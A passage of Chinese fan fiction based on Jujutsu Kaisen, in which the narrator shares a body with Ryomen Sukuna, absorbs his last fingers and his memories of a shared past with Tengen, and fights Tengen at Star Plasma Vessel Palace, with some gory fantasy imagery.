“是天元?是她让人将手指留在了这里,咒纹也是她的手笔。”所以,我会在伏黑甚尔和两面宿傩手指之间进退维谷,就是因为天元的设计。 果然,巧合这种东西根本就不存在。 “所以,咒纹的作用呢?我猜,天元也不会是想要帮我,维持能够对抗她「帐」的诅咒网吧?” 我尝试用诅咒的入侵来打破手指上的咒纹,这种带着风险的东西吃下肚可不是什么明智之举。 但,这些咒纹看着咒力产出不大,可不论我输入多少诅咒,都会很快被抵消干净。 甚至用两面宿傩本身的诅咒都无法内外呼应,将咒纹清理掉。 ——“没用的,她对我的了解程度,甚至比我自己还要深。这根手指如果一直在她身边,那她设在手指上的无论是什么,都没办法祛除。即使能祛除,那也只会是她预设好的一步。” 两面宿傩对天元信心可真足。 天元也确实有这种本事和时间,那这就麻烦了。 我仔细思考着把这根手指完全拆成诅咒再吸收的可能性。 很难,非常难。 咒物和咒灵一样,靠诅咒形成容易,但逆转回诅咒状态却很难。 ——“无所谓,那是我的力量,不论再用多少手段,那都是我的力量。” 他想要无视咒纹的风险,直接吃掉手指。 这就是诅咒之王的霸气吗? 这么自信,上次怎么被人拆成了二十根手指和一个脑子? “你是打算直接吃下去一颗定时炸弹?” 我内视领域反问。 “定时炸弹?不论是什么炸弹,得有机会炸,那才能叫炸弹。”两面宿傩难得没有坐在自己的王座上,他对天元设下的咒纹比我想象中还要感兴趣、也还要更重视,“她会死在我前面,如果它要爆炸,那也只会在她死之后。” 第47章 两面宿傩是个不见棺材不落泪的人, 他不会被任何风险阻碍自己前进的道路。 说实话,他这样的人在这种情境下反而更有优势。 至少他不会犹豫。 ——“你害怕?我不知道从我的诅咒当中孕育出来的东西,还有‘恐惧’这种情感存在。” 不是害怕, 充其量只能算有一点担忧。 毕竟就算是有风险, 两面宿傩也是首当其冲。 我深吸一口气,将体内那个维持了我和这个世界直接联系的金属谷子调动了起来,将其微妙地卡在我和两面宿傩领域的边缘切口。 这会成为一个保险。 吃下手指的感觉和先前几乎没有区别, 但,我很确定天元的咒力影响甚至直接改造了手指本身的力量结构。 因为我全力做好准备的精神却没有受到一点记忆的冲击。 手指里的诅咒,不包含任何记忆。 我接着就去了第二个出现手指反应的地点,吞下那里的手指, 带来的结果却与上一根如出一辙。 这太奇怪了, 我的记忆读取源自于在世界意识认知下通畅运行的术式,这不是天元能够改变的东西。 排除掉这个原因,她能改变的,就只有手指上的诅咒。 “这绝对不是你的诅咒,她用一些其他的力量模拟了你的诅咒。”很确定这一点, “我甚至怀疑这是不是你的手指。” 她或许连相似的咒物都可以制造。 那我岂不成了小丑? ——“诅咒可以被模拟, 但我的身体却是不可复制的,即使是她也做不到。除了纯粹的力量之外, 任何有实体的东西都很难完美复刻, 尤其是我的身体。” 但不论是否可以复制,事情都已经进展到了这一步。 我闭上眼睛, 感受着全诅咒网络带来的密集感知。沿着网络继续扩散的诅咒帮助我掌握了国土的每一个角落。 最后两根手指。 两面宿傩的诅咒沿着诅咒网络铺开, 每一条网络的末端都有这种诅咒回溯。 即使剩下的两根手指在被封印的状态, 这种相同力量的共鸣也能感应得到。 多亏了这种方式, 我取回了一根藏在仙台神社的手指。 这根手指显然就正常许多, 两面宿傩那残余的记忆碎片拼入我的认知…… 是一段超乎寻常平凡的记忆。 一句话来形容就是——小桥流水人家。 在天元和两面宿傩通过「束缚」获得力量之初,他们有过一段漫长而平凡的适应期和恢复期。 他们在废土上建立起了新的家园。 在这段记忆里,我看不到任何野心和戾气。 简直是,小农生活、男耕女织的典范——他们兄妹俩之间的羁绊,强烈到凌驾于任何情感之上。 我简直不敢相信自己所看到的。 天元和两面宿傩给彼此取了名字——天元和宿傩——对误入深山的人予以救助,甚至收养了两个濒死的小孩儿。 两个孩子分别有着禅院和加茂的姓氏,这就是他们家臣的起源? 但,平静的生活图景中,似乎潜藏着一点异常。 我注意到,路过这里的人越来越多,而且这些人并非只是“路过”,他们是带着目的来到这里的。 和两面宿傩视角里的天元不同,这些人大都面黄肌瘦,眼球浑浊,看上去极为虚弱。 而他们也不是什么带有特殊能力的人,他们到这里来的需求非常明确——食物。 仔细观察着这份记忆中的这片小桃花源,天元逐渐成长起来的身体让我意识到,这里是四季如春,而非是记忆跨度只包含了一个春天。 而这里能够四季如春,是因为咒力重塑了这里的土地、刺激着农作物和植物的生长,这让反季的东西可以随意生长。 就连天气和四时都是模拟出来的……我只在另一个地方见到过相似的状况。 薨星宫。 我所看到的这些,就是「帐」的雏形。 就连那个环绕着庭院的河流也已初具薨星宫之形。 农园就是薨星宫的前身,而这个农园的前身,又是兄妹二人曾经无比痛恨的地方。 我不知道他们为什么仍然选择住在这里,但我知道,有这片肉眼可见的世外桃源在,天元和宿傩很快就真的成了受尊崇和供奉的人。 宿傩的眼睛看着眼前摆放着他和天元塑像的神龛——它只有堪堪一米见方,他和天元曾经就生活在这样的地方。 如今,被捧在上面的,成了他们塑像。 “兄长大人,”天元的身影从记忆的身后传来,“正如您所想,干旱之后就是蝗灾,情况越严重,我们的计划就越顺利。用不了多久,我的「帐」很快就能铺到更多的地方了。会有源源不断的人来请我们做这一切。” 两面宿傩点了头。 但记忆所记录的他此刻的心情却并不轻松,情绪在他的胸腔中翻腾,而且从来没有平复过。 这种难以熄灭的激烈情绪,或许就是他强大的原因之一。 一点冰冷的触感搭在了“我”的指腹上,视线顺着这种感觉下移,三只不同的右手交叠在一起。 天元的一只右手,和宿傩的两只右手。 “也许我们应该尝试将你的完整形态显露人前,人们会敬畏你,到时候哥哥的名讳或许就要从‘宿傩’,变成‘两面宿傩’了。” 天元的手指轻抚过那些黑色的咒纹,“下个月,主城外会有规模不小暴乱。阳成天皇的王侍从定省会在那时恰在城中,我会确保他在那个时间,走上城楼。” “我明白。”宿傩对这种事并不感冒,但他没有反驳天元,只是心有不满,“我们为什么非要做这些事不可?” “这就是「束缚」,我们必须——” “如果不是「束缚」,我们最一开始就不会被关在神龛里。” 两面宿傩的声音充满了愤懑,受制于人的情况原来从未消失,只是从有形的神龛,转化成了无形的「束缚」。 后者的制约甚至更加严厉。 天元只是背过身去,闷声说着,“哥哥……你我,从最一开始就没有选择。” 记忆在这句似曾相识的话语中戛然而止。 我猛一睁眼,将手里攥着的封印丢在地上。 「束缚」的内容究竟是什么? 两面宿傩和天元——他们究竟用什么东西和“天”做了交换。 或者说,命运此时推动他们的目的,究竟为何? 我有一种预感,只有这个问题的答案能解开兄妹阋墙的原因;也只有这个答案,能解开天元如此严格推动宿命的行为动力。 我需要这最后一块记忆拼图,也需要两面宿傩的最后一根手指。 我得返回东京。 越快越好。 整个国家都在我的监视之下,咒物手指不会忽视两面宿傩的诅咒力量。 而我找不到任何共鸣,没有任何最后一根手指的线索,只能证明它在一个我无法探入的地方。 薨星宫。 咒术界里,主要家族的「帐」都被我入侵过,总监部的防御对我而言形同虚设,哪怕是守卫严密的高专,它的防御机制也和总监部同类、同级。 更何况,两面宿傩手指这样危险的咒物,绝不可能放在学校——这种不确定性极强的地方。没有接受过充分培训的咒术师可能会随时破坏咒物的封印,任何在咒物上犯的错,都可能会造成不可估量的后果。 高专内用来进行教学的咒物都不会超过二级。 所以,只有薨星宫。 只有薨星宫是我的诅咒网络完全无法涉入的地方,我唯一的盲区。 天元知道这一点,也能感受到我的急迫和冲动。 我敢断言,她绝不会离开薨星宫,只会在那里准备好重重防御和陷阱,等待我的到来。 而不论她的陷阱有多明显,我也必须踏进去。 我要碾碎她的自信和安全。 一切都是从薨星宫的土地上开始的——那些让人不忍直视的悲惨过去、漂亮安逸的世外桃源,以及那个既禁锢了两面宿傩和天元,又供奉了他们的神龛。 那么一切,也都应该结束在薨星宫的土地上。 第48章 如果说, 薨星宫是唯一一个会在我的诅咒地图上消失的地点。 那么伏黑甚尔,就是唯一一个会在我诅咒地图上消失的人。 若是伏黑甚尔一直单独行动,这个世界上没有人能真的把他挖出来。 但他不可能是一个人。 他的儿子不会消失在已经构筑完成的诅咒网络上。 我切断了「帐」和这片土地的细致联络, 至少让天元的监视变得困难, 让她没有那么容易去持续捕捉伏黑惠的位置。 伏黑甚尔已经和我的空壳穿越司签了劳动合同,虽然说不上什么法律效应、虽然最终解释权在我手上,但我至少打算尽可能地履行我应尽的责任。 不然我的权威何在? 有了清晰的诅咒网络, 我的感应传导非常快。 伏黑惠无法控制自己提前觉醒的术式,术式压榨着咒力在他身外逸散。而诅咒网络恰好对咒力反应极为敏感——对立的力量之间,总是彼此敏感的。 但是,与之相对的, 天元经年累月的感知也绝不比诅咒差。 我闭上眼睛, 首次快速搜寻中,竟是一无所获。 两种可能,要么是天元已经得手;要么,是伏黑甚尔的藏匿手段确实高超。 我比较倾向于后者——我必须让自己相信后者。 换位思考,如果我是天元的话, 我知道伏黑甚尔的本事, 也能够预测他的反应。那么,在派人强夺伏黑惠之前, 首先就会按层次将附近区域全部封锁起来。 而伏黑甚尔被追杀的经验丰富, 应该也能想到这一点。 所以,我猜测, 即使伏黑惠还没有被天元捉到, 很可能也没有离开东京区。 伏黑甚尔的「天逆鉾」也算是某种程度的因果律武器, 但天元的感知系统并无间断, 伏黑甚尔若想要「天逆鉾」持续起效, 就势必要让这把刀长期插在伏黑惠体内。 伏黑惠的咒力回路原本就已经被术式提前激活,现在又被「天逆鉾」持续截断——他的咒力回路有很大概率面临着坏死。 伏黑甚尔也很清楚这点,但他却不得不进行这个选择。 咒术师的身份和生命比起来,显然是后者更加重要。 我掏出「黑绳」,缠绕在手上,记录着这种力量被禁锢的感受。 「天逆鉾」和「黑绳」是相同类型的咒具,他们带来的感知自然也是相似的。 我记下这种感受,将诅咒网络的感知收束在东京境内,接着便只专心搜寻一种类型的异常—— 我猛一睁眼! 找到了。 果然是一个我从未想过的地方。 所谓最危险之处,就是安全之处。 我收回「黑绳」。 不再有任何同伴的我也不再需要任何准备,毫不犹豫地奔向目标。 ——薨星宫。 这片让一切开始的土地。 两面宿傩和天元曾经在此地和上天交换了自己的命运,走上一条从未想过的道路。 薨星宫常年被「帐」笼罩着,四时如春的气候带走了这里的烟火气,使其恍若仙境。 上次潜入此地的时候,这里阳光明媚,丝毫不受地球自转和公转的影响。 但现在,这里已经不复往昔的明媚,常开不败的昙花没有了踪迹,池水中的睡莲也枯萎凋零,甚至连池水本身都变得浑浊不堪,仿佛有某种力量在池底的泥潭中翻腾。天空中更是乌云密布,连星辰的微弱光线都无法映照这片土地。 就好像,这个世界、这个时空将薨星宫完全割裂出去了一样。 我心情微松。 这里有如此环境,是因为天元撤走了一切不必要的维系,分出更多的力量和精力向外散发。这便说明,天元仍然在寻找流落在外的「十种影法术」。 那应该是她所需的最后一份力量了。 看来就潜藏在薨星宫附近的伏黑甚尔并没有被发现。 「天逆鉾」和「黑绳」这两种咒具对天元来说都太过“年轻”,这样新的东西才更不容易被她完全掌握。 这种“年轻的不熟悉”制造出了她的感知盲区。 我将「黑绳」收了起来。在这种时候,我绝不能在此时给她任何提示。 不过,我和伏黑甚尔不一样,两面宿傩的力量对天元来说再熟悉不过。我出现的瞬间,她便迅速感知到了我的存在。 “兄长大人。” 我抬头,空灵的声音从薨星宫殿内传来。 她没有贸然出来,而是仍然藏身于内。 体内的两面宿傩激动了起来,他似乎迫不及待想要见到天元。 我放任他的情绪在我胸腔中涌动,声音出口甚至带上了几分战栗,“我都来了,妹妹怎么还不列队出来迎接?” “如此重要的时刻,怎能让其他人插足其中。兄长大人尽管放心,如今,绝不会有人来搅扰我们。” 显然,天元遣散了薨星宫内的一切防御力量。 不,不仅如此。 薨星宫敞开的大门内散发着强烈的咒力,其浓郁程度几乎是五条悟的几倍之数。 ——在五条悟的力量基础上翻倍? 这已经不是人类和个体能够达到了力量程度了。 我看了看自己的掌心,天元此时的咒力恰如我的诅咒。我所掌握的诅咒量、这种能够在全国都铺开的诅咒力量当然不是某一个咒灵个体能够达到的。 哪怕是两面宿傩也不行。 这个身体内的诅咒包括了国土上几乎所有的咒灵,尤其是有意识的特级咒灵个体。现在的我完全可以被称为诅咒集合体。 那天元和我完全相反,自然就是咒力集合体了。 难怪说绝无人来搅扰,我深刻怀疑此刻的咒术界究竟还能不能用“界”来形容,所有术式和咒力都系于一身。 唯有伏黑惠不在天元的掌握中。「十种影法术」之于她,就像是两面宿傩的最后一根手指之于我。 也算是势均力敌了。 “只有你我二人,兄长大人,为何还不进来?” 她的声音就如记忆当中一样谦逊温顺,但上扬的尾音却带上了几分不易察觉的挑衅。 天元对自己这个哥哥的了解至深,这一点尾音对两面宿傩果然非常有效,他的情绪瞬间就被调动了起来。 在两面宿傩看来,一切干扰都无所谓,他势必要和天元之间有个了断。 这也是我要做的。 我最后检查了一次自己体内的诅咒状况,顺着两面宿傩的意图扬声道:“好好享受你最后的时间吧,妹妹。” 我让「黑绳」顺着我的手脱落在地。 这么大的声音,伏黑甚尔肯定会听到,由他将这根绳索收起来最好不过。绳索对人体的伤害至少要比刀刃好些。 此外……我还有另外的想法,须得确定将伏黑甚尔引到此地。 接着,我便不再犹豫,直奔薨星宫内部而去。 正殿大门上绘制着繁复的花纹,但并不是文字,而是由各种元素构筑而成的图画。 画面的主体是一对带着飞扬毛发的面具,面具被神龛所困,三根香顶飘散出融合在一起的烟雾,将神龛也包围了起来。 两边大开的门顶挂着不同的金属物,一个是月亮一个是太阳,但在这两个明亮体包裹的正中,却是深渊般黑暗的房间。 我踏过门槛,房内没有一点光线,甚至烛火都不曾点亮。固体的蜡油滴在供桌上,各类的供品——水果、糕点,就仿佛蜡制的一样,美丽而不真实。 黑暗之中,这些供品供奉的,竟然是被金盘奉盛起来的手指——两面宿傩那最后一根手指。 如此近的距离,我竟然也要依靠视觉来确定手指的位置——甚至,我都已经看到它了,它却仍然不曾出现在我的感知之中。 如果说之前那两根手指只是有咒力暗纹的话,那这根手指就是一点诅咒的气息都不存在了。 我皱眉,视线顺着被高高捧起的手指向下。在供桌前、蒲团上跪坐的,是一个纯白狩衣包裹着的背影。 宽阔的肩膀、高挺的脊背——说实话,这不像是一个女子的背影。 但在此时,能坐在这里的人,就只可能是天元了。 “兄长大人。”果然,这个背影一开口,就是回荡在空荡大殿里的温柔女音,“这么多年……别来无恙。” “也不算多年,每一个咒物都是本体力量的延伸。既然有手指在你身边,那看来我们一直都在一处。” 真到了薨星宫内,到了天元面前,两面宿傩的情绪反倒平静了下来。 “兄长大人所言极是。”天元双手合十,在手指前虔诚叩拜,“若没有兄长大人的支持,我恐怕也难走到今日。” 精神支持? 还是力量支持? 天元说着,便站起身来。高大的身体顿时魁梧如一座小山,和她的声音全然不符。再转身,她的面孔也清晰起来,和想象当中的圆桶四只眼不同,她的轮廓仍在人类形象的范畴,甚至五官的模样和位置也相当标准。 细眉、圆眼,高鼻、小嘴,还有一对耳垂宽厚的耳朵。 但,就是这样标准的人类长相中,却时时在细节上透露出一种说不出的违和感。 仿佛是——拼凑起来的五官。 我皱起了眉。 她似乎并不意外于我的反应,细嫩的小手轻抚在脸上,“我知道,我如今的模样不复从前。在兄长大人看来,只怕更是丑陋。但您如今,不也放弃了过去的模样吗?” “放弃?呵——” 我冷笑了出来,眼神和体内的两面宿傩重合,“你最清楚我的身体是如何毁灭的。” 天元的垂眸,绝对超过了两米的视线高度俯视着我,“说到底,肉|身只是精神和灵魂介质。兄长大人不是已经拥有可以改造灵魂的术式了吗?只是兄长大人您,似乎并不怀念过去的模样。” “失败之相,有什么好执着的?” 我暗戳戳地diss了一嘴两面宿傩,他原本的身体应该比我更加高大。天元对宿傩的崇拜并非作伪,我猜测,此时天元的模样,应该更接近于过去两面宿傩本身的模样。 她嘴上说着两面宿傩对过去的不怀念,实则就是在表达自己对过去的怀念。 “兄长大人每次附身于人,都偏好撕裂女人和小孩,岂非冲着天元而来?”即使和两面宿傩多年不接触,但她实际上却是在各个时代都关注着两面宿傩制造出来的混乱,“真是让天元受宠若惊。” 她袖口微动,露出的手腕上印着一串隐约反光的咒纹。 我定睛一看,咒纹和最后两根手指上缠绕着的那些,一模一样。 “既然如此虔诚,那不如干脆坦然接受。” 我没有再多浪费嘴皮子,话语尾音如石子落水,在领域的血池里,荡出一片涟漪。 ——「伏魔御厨子」! 宫殿的砖石墙壁迅速褪色,被累累白骨所替代。 空气中无形的刀刃凭空而起,毫无迟滞地劈向了天元。 “唰!” 领域内的攻击不可逃避,她必须抬手隔挡。纯粹的咒力和纯粹的诅咒相撞,冲击激起了翻滚的血浪。 我眼睛一厉,诅咒在天元的两侧聚集——随着我手一拉,两个诅咒大锤左右夹击。 “砰!” 两个“大锤”将天元压在了中间。 ——“你觉得这样能杀死她吗?” 两面宿傩讥讽道。 不,我不觉得。 天元的身上爆发出一股激烈的咒力,用和我诅咒之刃相同的方式飞散开来,将诅咒切得稀碎。 这却正合我意。 我手指一勾,每一个诅咒碎块的核心都亮了起来。 紧接着,藤蔓冲破了诅咒的外壳,用肉眼都难以追上的速度生长、交接、重合。 一个木质的牢笼将天元封锁起来。 这是花御的术式。 柔软的花朵在藤蔓上绽放,一种安逸和舒适垂着诅咒的方向充盈在木笼内。 花御的术式,能够夺走人的战斗意志。 ——“你真的选了一个最差的方案。” 两面宿傩的声音中带着隐隐的愤怒,他的诅咒在我的血脉中蹦腾,像是想要破体而出。 我翻身而上,冲着天元的方向快速前进。 木笼之中,天元的咒力不降反升,甚至以一种完全颠覆平和的方式激荡起来,冲击渗入每一根枝丫、每一片花瓣。 我的身体还没有来得及越过木笼,木笼就已经被这些狂躁的咒力完全冲破,诅咒形成的木质碎片散落如雨。 在这些“木雨”之后,天元的形象重新显露。 巨大的咒力爆发和诅咒对抗撕裂了她的衣服,衣服之下肌肉虬结的身体仿佛随时会爆炸,一双蓝色的眼睛在胸口处裂开;腹部的嘴巴里尖牙林立,每一颗牙齿左右都有蠕动的血管,似乎随时都能被割裂;腿上的骨头像一条蜈蚣的脚,整排地穿出了肌肉。 她的身体,绝对不是普通人类该有的形状。 而身体之上,她的表情完全没有了最初的从容,五官几乎全部扭曲变形,瞪大眼睛撕裂了眼角,血泪沿着细密的血丝挤出了眼角。 她的声音压低,嗓子仿佛被沙砾狠狠摩擦过,“你,不是兄长大人!” 诅咒物会覆盖受肉的身体,诅咒的精神会占据受肉的意志,天元大概从没有想过,我带着这一身诅咒的咒纹,却完全不是两面宿傩的身体。 “哦?刚才不是一口一个兄长叫得很亲密吗?”我一歪头,勾起的嘴角在此刻完全成了一种挑衅,让她本就腾升的愤怒迅速达到了一个新的临界点。 “兄长大人,最恨这种笼子!” 那是当然的了,哪怕是两面宿傩,也得用一生来对抗这个根植在记忆之初的恐惧。 他痛恨被束缚,更痛恨这样的木笼。 两面宿傩,不会用自己痛恨的东西。 天元的咒力就像是沸腾的水壶一样,在鸣叫。激烈的情绪带动着她的每一分力量,在她无意识地调动下,激活了每一个和她咒力所连接的地方。 包括我的身体。 和天元手臂一样的纹路显现在我的内脏表面,沿着血管和脉络,它们迅速入侵,直至精神世界的生得领域。 就在两面宿傩的王座之下。 果然,那两根手指上的异常是天元留下的入侵手段。 这就是我必须要刺激天元的原因。 在赶往东京的路上,我就已经在从两面宿傩浩如烟海的记忆里挑选。 什么是最能让天元失控的东西? 她和两面宿傩很像,在能力成型之后,就再没有了任何畏惧。她可以毫不犹豫地架空那些由力量带来的权力,然后对自己的兄弟下手——这是连宿傩都没有做到的。 她的心智之坚,尤在宿傩之上。 想要针对她,就只能从他们兄妹二人最深的记忆里下手。 会成为宿傩噩梦的,也是天元的噩梦。 天元或许会在过去的千年时间里不断复盘对宿傩的背叛,直至麻木。但那段最初的记忆——就算是天元,也不会轻易回溯。 创伤会在任何一个细节下被翻出来。 更何况,木笼囚困如此清晰的指向若还不能给天元带来冲击,我就要用土来将木笼埋起来了。 精神世界内的两面宿傩从王座一跃而下,一脚踩在了蔓延的咒纹上,强行中止了它的封锁路径。 这个力量,是用来封锁体内诅咒回路和精神运作的力量。 封锁速度极慢,所以直到现在也才堪堪爬入生得领域之中。 也只有这样的缓慢速度,才能不被诅咒的自防机制所阻碍——既能保证效果、又能保证隐秘,天元对两面宿傩终有一日的返场,一定早有准备。 思考间,天元的主动攻击就已经近到了眼前。 真·眼前。 细长的血刺直奔眼睛而来,不论是怎样的生命体,眼睛一向都是身体机制里的相对弱项。 我后仰躲开的同时,挥手带起一阵刃风,旋转如龙卷将攻击全部搅碎。 “「赤血操术」。”我一眼就认出了这种能力,“你果然是将术式都移动到了自己身上。” 这么说来,那眼睛就应该—— “还是这种没有实体的术式更容易移动。”天元的手拂过腹部的尖牙,两根血管瞬间断裂,更大量的血液在术式的操纵下汇聚成弩。 弩箭就直冲着我,但我并不恐慌,这里是「伏魔御厨子」,这种能够看到的攻击,根本不可能打到我身上。 “那有实体需求的术式呢?”我问。 有实体需求的术式,就只有互相成就的「六眼」和「无下限」。 天元的手指一动,血弩发射,“我拥有的「六眼」数量,你无法想象。” 诅咒截断了血箭,被折断的箭身却丝毫没有停滞,自成一体,让攻击变得更加密集。 再一波利刃,也只是让箭变得更短,数量变得更多。 既然如此—— 我快速定位了每一根血箭,大脑迅速计算,与之等量的诅咒精准对顶。 “歘!” 两股完全对等的相斥力量撞击,仿佛是等量水火交接似的,迅速蜕变成了一团气体。 和五条悟对战过后,我对诅咒运转方向和输出量的拿捏有了质的提升。 天元眉头一皱,看着消失无踪的咒力和诅咒,似乎有诸多思考闪过了她的眼睛。 “薨星宫——咒术界的神殿。让我猜猜看,御三家……甚至不止御三家,咒术师们将这里视为神地,会将夭折的孩子埋葬在这里。五条家的「六眼」产出远胜于「无下限」的产出,那你会有复数的「六眼」就不足为奇了。那都是五条家自己送过来的。” 天元没有正面回答,但她的表情和眼神便已经说明了一切。 和两面宿傩中的记忆完全不同,她用相当凶恶的眼神看着我,“什么样的精神,竟然能够压制住兄长大人。” “你们有你们的「束缚」,我有我的。”我踩着天元的底线一点点试探。 她脸色大变,语气坚定得可怕,不知道在反驳我,还是在说服自己,“不,这不可能!” “都是一样的手段,这难道很令你意外吗?” 我敏锐地意识到了她的情绪变化。 塞满了领域的咒力有一股带着焦香的辣味,她的眼神带着些空洞,仿佛在某个瞬间陷入了强烈的自我怀疑。 “不可能,不可能——我们的「束缚」是绝对的,我一直在保护着这种「束缚」!”她身上的咒力开始震动,“我的每一步都很完美,从未出错!” “不出错?星浆体不是已经死在了你的薨星宫前吗?”我挑眉。 这对她来说,绝对是最难以接受的意外之一。 如果我就是两面宿傩,她还能找到一点心理平衡。 但,我不是宿傩。 我是个横插到他们中间的“第三者”。 “我已经用术式填补上了——用其他所有的术式!” 天元的声音一提,情绪激动到极点之后,突然沉淀了下来。 她似乎意识到了我在故意刺激着她。 “除了伏黑惠——我猜你身上还没有「十种影法术」,对吧?” “……禅院甚尔确实是个麻烦的人。”天元叹了口气,她在这样的事上倒是异常坦诚,“难道,你知道?” “当然,在你找到他之前,我正在和他通。他是我的人,你不应该不知道的吧。” 天元定定地看着我,像是想要穿透我的身体,看到我体内的宿傩灵魂一样。 显然,她在等待着我“开价”。 我撤掉了领域,视线越过她直至她身后的祭台。 “我拿着你的最后一片拼图,你也控制着我的最后一片拼图。今日之事绝对无法善了,既然如此,那又何必留这个余地呢?” 我抬头,指着那最后一根手指。 天元垂眼沉思,明明已经被我说动,但却还是顿了一下,反问道:“「十种影法术」之于术式的庞大基数,和兄长大人的一根手指之于二十根手指的总数——这可不成正比。” “成不成正比,你心里很清楚,又何须多言?”我指了指自己的头,提醒着她,精神世界中被我压制的那个人,“咒物和受肉之间的竞争博弈,想必你更清楚。最后一根手指,就是最后一次机会。” 不论是咒物对受肉精神的吞噬,还是受肉对咒物的排斥反抗,都只有咒物入体的那一次机会。 两面宿傩的情况特殊,他的精神被分成了二十一份——天元对羂索了解不深,在她的认知里,宿傩的精神就只有二十份。 每一份进入受肉,都会增加一次两面宿傩的竞争砝码。 前十九份精神已成定局。 在天元所知的受肉与咒物的规则下,这最后一根手指,就是两面宿傩的最后一次机会。 我毫不顾忌地诉说着阳谋,“只看你是想要见我,还是想要见你的‘兄长大人’了。” 第49章 我所料不错, 对于天元来说,没有什么比两面宿傩更加重要的东西了。 她的犹豫甚至没有持续够几秒钟,就迅速做出了决定。 “若真是全力以赴, 你的诅咒和我的咒力撞在一起, 也就相当于绝了日后咒术师和咒灵们的成长环境了。”天元这样说着,手却已经越过祭台,将金盘上供奉的手指拿了下来。 我毫不掩饰自己的笑声, “就算如此,和我又有什么关系呢?你要是在意,不如直接跪下认输,你也算是用自己保全了大局。” “大局?真正的‘大局’又岂是旁人能够想象的?”天元抬眼, 那双清透的瞳孔中连其他人的身影都存不下, 她又哪里是真的在意那所谓的“咒术环境”? “位置。”她先一步将手指扔向了我。 我抓住手指,这最后的咒物,两面宿傩诅咒中的最后一片拼图。 体内的诅咒已经因为我和手指的接触躁动了起来,和手指内部泛起的波动一起,产生了共鸣。 直到这个时候, 我才终于真正感知到手指内部的诅咒量。 长期在薨星宫受到的供奉让这根手指几乎要被“净化”到咒力的系统中去。 我用诅咒一点一点地瓦解着咒力在它表面组成的屏障, 同时也抬头,“就这么直接给我, 难道不担心我出尔反尔吗?” 天元比我想得还要淡定, 我的反问之下,她连眼神都一点不变, 反倒是胸有成竹似的。 “那你会出尔反尔吗?” 她那看穿一切的眼神让我后背发痒, 忍不住产生了逆反心理。 但数秒之后我冷静了下来。 确实, 我需要的不是压倒性的胜利, 而是绝对的势均力敌。 “远在天边, 近在眼前。”手指外层那晶莹剔透的咒力壳一点点地碎裂,“你找遍了东京,应该没有想到伏黑甚尔胆敢主动来到你的地盘上,来自投罗网吧?” 天元瞳孔一缩,感知完全收回来后,海量的咒力越过我,淹没了整个薨星宫。 任何风吹草动都逃不过她的眼睛。 她深深地看了我一眼,接着便毫不犹豫地冲了出去。 就像是我现在手下已经无人可用一样,天元的现状和我并无二致,只能事必躬亲。 我捻着这最后一根手指,深吸一口气充盈在胸口。 两面宿傩在我的精神世界里嗤笑。 ——“哼,这个时候再害怕已经迟了,无非是拖延几秒钟、几分钟而已。” “害怕?该害怕的可不是我,之前十九次机会你都没有把握住,难道最后一次还能绝地翻盘不成?”我将手指放在嘴边,轻轻一推。这最后一块拼图入口即化,迅速沿着食道钻入了身体深处,“说好了的,各凭本事。” 突然,诅咒如飓风一般在我体内掀起狂风骤雨,二十根手指前后相连,复杂的脉络迅速在我体内构建。我的皮肤都被胀得深红,血管青紫色加深成了纯黑,指甲不自觉地延长,骨骼接口发出“咯吱咯吱”的声音,五官的位置仿佛在被挤压,一个白骨般的面具沿着脸颊向上覆盖,新的面孔正在构筑。 这些都是两面宿傩的身体特征,他的力量已经完全成型。即使有那些咒力的限制,也完全无法阻止一个完整体系的运作。 两面宿傩的狂笑回荡在我的大脑中,生得领域不自觉地拓展,将我的精神完全覆盖。 血水没过我的脚腕,坍塌的王座上滚下来成片的白骨骷髅,黑色的咒纹蔓延到两面宿傩身体之外,顺着血浪的翻滚,将我的四肢完全束缚起来。 说是在争夺身体,实际上更准确的说法应该是我和他之间的精神斗争。 纯粹的诅咒之力在精神和身体的连接边缘撞出了一个口子,身体内再没有了一点精神无法覆盖的盲区。 疼痛同时刺激着我和两面宿傩的神经,那被天元提前布置的咒力陷阱也被强行卷入其中。 在我的身体里,咒力和诅咒本来就是两种完全不能相提并论的力量类型。 诅咒带着压倒性的胜利,将咒力完全埋葬起来。 没有了阻力阻碍,先前的手指和此时的手指同时起效,像是第一次被吞入我腹一样,释放出了强大的力量。 但,只是这种程度的对抗,可无法将我压倒。 我双手一用力,封锁着我的黑线根根断裂,眼看就我就要突破出两面宿傩的精神束缚。 他的身形突然实体汇聚于我身前,上前一手掐住我的脖颈,声音带着温热的气息打在我的耳根上,“别忘了,和其他受肉不同,你术式产生的负面效果不受你自己的控制。我想知道,我那漫长记忆汇聚而成的迷宫,你真的能走出来吗?” 话音一落,天地倒转,脚踝上清晰的触感昭示这种奇怪视角的来源。 我正被人提脚悬空倒立着。 不,不是我,而是“我”——这是两面宿傩的记忆。 “我”用力地睁大眼睛,但模糊的视野却无论如何也清晰不起来,耳朵里像是塞满了棉花一样,四周明显嘈杂的声音在我听来都是闷闷的不甚清晰。 “我”张开嘴,哭泣的声音伴随着刺耳的尖叫席卷了整个房间。一种本能的恐慌似乎充斥在我胸膛,情绪酝酿着咒力瞬间引爆、破体而出。紧接着,温热的液体如雨般播撒,抓着脚踝的那只手一松,“我”重重地跌落在地。 腥热的液体冲入我的眼眶,仿佛将某种阻碍着视野的黏膜带走,“我”的视野终于清晰起来。 半张窗纸背后漏进来一缕月光,残壁断垣之内铺满了草蓄,鲜血将这些干枯的颜色染红,肉眼所见的一切生命皆无气息,挂着肉块残余的白骨挂在断壁上。 旁边有尖锐的哭声,“我”视线扭转,很快便看到了一个脸蛋皱巴巴的婴孩。 她趴在一个敞开的腹腔里,半个身体正挣扎着向外。 “我”似乎在懵懂中感知到了自己和眼前这个婴孩的关系,伸出手来本能地向她爬去。 这时,我才清晰地看到,我自己意识所在的这个视角里,也是一只还带着残余黏液的肉手。 是个婴儿的手。 我马上意识到,这是两面宿傩最初的记忆。 他和天元,就是在这样的环境里出生的。 四周都是荒芜的旱地,这个村落远没有后来记忆中所拥有的繁荣。孕育了两面宿傩和天元的女子俨然已没了气息,她瞪大的眼睛上落着一只干瘪的苍蝇,大张的嘴巴似乎还能一窥生育时的惨痛。 可即使如此痛苦,她的一只手也护着隆起的腹部,早已僵硬的手指扶着几乎要坠落的天元的脖颈。 她的哭声就像小猫一样微弱,而我在两面宿傩的记忆视角里,甚至还有向前爬动的力气。 天元的恐惧和“我”的惊慌混杂在一起共鸣,两人的身体中不由得产生出了相似的咒力呼应,将还没有自我意识的一对兄妹紧密地联系起来。 但,没有意识的力量是绝不会受控的。 无形的飞刃狂乱地席卷在四周,将原本就残缺不全的房屋和人体都切得更加不堪入目。 